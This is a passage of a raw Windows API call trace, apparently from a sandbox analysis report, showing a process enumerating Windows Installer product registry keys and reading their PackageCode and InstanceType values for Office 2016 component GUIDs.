lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109B10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.739] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.739] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.739] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109B10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.739] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="E95E1906FE18A724DA8A5BA16137B597", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.739] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.739] lstrlenW (lpString="{90160000-001B-0409-0000-0000000FF1CE}") returned 38 [0068.739] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.739] lstrlenW (lpString="00006109B10090400000000000F01FEC") returned 32 [0068.739] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.739] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109B10090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.739] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.739] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.739] lstrlenW (lpString="0") returned 1 [0068.739] lstrlenW (lpString="0") returned 1 [0068.739] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.739] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{6091E59E-81EF-427A-ADA8-B51A16735B79}") returned 1 [0068.740] GetCurrentThreadId () returned 0xf50 [0068.740] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.740] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x12, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109B21090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.740] GetCurrentThreadId () returned 0xf50 [0068.740] GetCurrentThreadId () returned 0xf50 [0068.740] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.740] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.740] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.740] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.740] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.740] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.740] GetCurrentThreadId () returned 0xf50 [0068.742] GetCurrentThreadId () returned 0xf50 [0068.742] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.742] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.742] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.742] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.742] LocalFree (hMem=0x32f770) returned 0x0 [0068.742] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.742] GetCurrentThreadId () returned 0xf50 [0068.742] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.742] lstrlenW (lpString="{90160000-012B-0409-0000-0000000FF1CE}") returned 38 [0068.742] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.743] GetCurrentThreadId () returned 0xf50 [0068.743] GetCurrentThreadId () returned 0xf50 [0068.743] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.743] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.743] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.743] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.743] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.743] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.743] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.743] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109B21090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.743] GetCurrentThreadId () returned 0xf50 [0068.743] GetCurrentThreadId () returned 0xf50 [0068.743] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.743] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.743] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.743] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.744] LocalFree (hMem=0x32f770) returned 0x0 [0068.744] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.744] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.744] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109B21090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.744] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.744] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.744] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109B21090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.744] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="D5743997C58D2F64097FFD13CE9284C3", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.744] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.744] lstrlenW (lpString="{90160000-012B-0409-0000-0000000FF1CE}") returned 38 [0068.744] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.744] lstrlenW (lpString="00006109B21090400000000000F01FEC") returned 32 [0068.744] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.744] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109B21090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.744] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.745] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.745] lstrlenW (lpString="0") returned 1 [0068.745] lstrlenW (lpString="0") returned 1 [0068.745] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.745] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{7993475D-D85C-46F2-90F7-DF31EC29483C}") returned 1 [0068.745] GetCurrentThreadId () returned 0xf50 [0068.745] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.745] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x13, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109C20090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.745] GetCurrentThreadId () returned 0xf50 [0068.745] GetCurrentThreadId () returned 0xf50 [0068.745] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.745] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.745] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.745] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.746] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.746] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.746] GetCurrentThreadId () returned 0xf50 [0068.746] GetCurrentThreadId () returned 0xf50 [0068.746] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.746] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.746] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.746] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.746] LocalFree (hMem=0x32f770) returned 0x0 [0068.746] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.746] GetCurrentThreadId () returned 0xf50 [0068.746] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.746] lstrlenW (lpString="{90160000-002C-0409-0000-0000000FF1CE}") returned 38 [0068.746] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.746] GetCurrentThreadId () returned 0xf50 [0068.746] GetCurrentThreadId () returned 0xf50 [0068.747] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.747] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.747] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.747] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.747] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.747] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.747] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.747] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109C20090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.747] GetCurrentThreadId () returned 0xf50 [0068.747] GetCurrentThreadId () returned 0xf50 [0068.747] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.747] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.747] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.747] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.747] LocalFree (hMem=0x32f770) returned 0x0 [0068.747] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.747] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.747] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109C20090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.748] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.748] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.748] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109C20090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.748] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="365B0DD111BE69A49AB678ABF97D0304", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.748] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.748] lstrlenW (lpString="{90160000-002C-0409-0000-0000000FF1CE}") returned 38 [0068.748] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.748] lstrlenW (lpString="00006109C20090400000000000F01FEC") returned 32 [0068.748] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.748] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109C20090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.748] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.748] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.748] lstrlenW (lpString="0") returned 1 [0068.748] lstrlenW (lpString="0") returned 1 [0068.748] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.748] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{1DD0B563-EB11-4A96-A96B-87BA9FD73040}") returned 1 [0068.749] GetCurrentThreadId () returned 0xf50 [0068.749] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.749] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x14, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109E60090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.749] GetCurrentThreadId () returned 0xf50 [0068.749] GetCurrentThreadId () returned 0xf50 [0068.749] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.749] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.749] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.749] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.749] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.749] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.749] GetCurrentThreadId () returned 0xf50 [0068.749] GetCurrentThreadId () returned 0xf50 [0068.750] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.750] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.750] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.750] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.750] LocalFree (hMem=0x32f770) returned 0x0 [0068.750] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.750] GetCurrentThreadId () returned 0xf50 [0068.750] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.750] lstrlenW (lpString="{90160000-006E-0409-0000-0000000FF1CE}") returned 38 [0068.750] lstrlenW (lpString="00006109E60090400000000000F01FEC") returned 32 [0068.750] GetCurrentThreadId () returned 0xf50 [0068.750] GetCurrentThreadId () returned 0xf50 [0068.750] 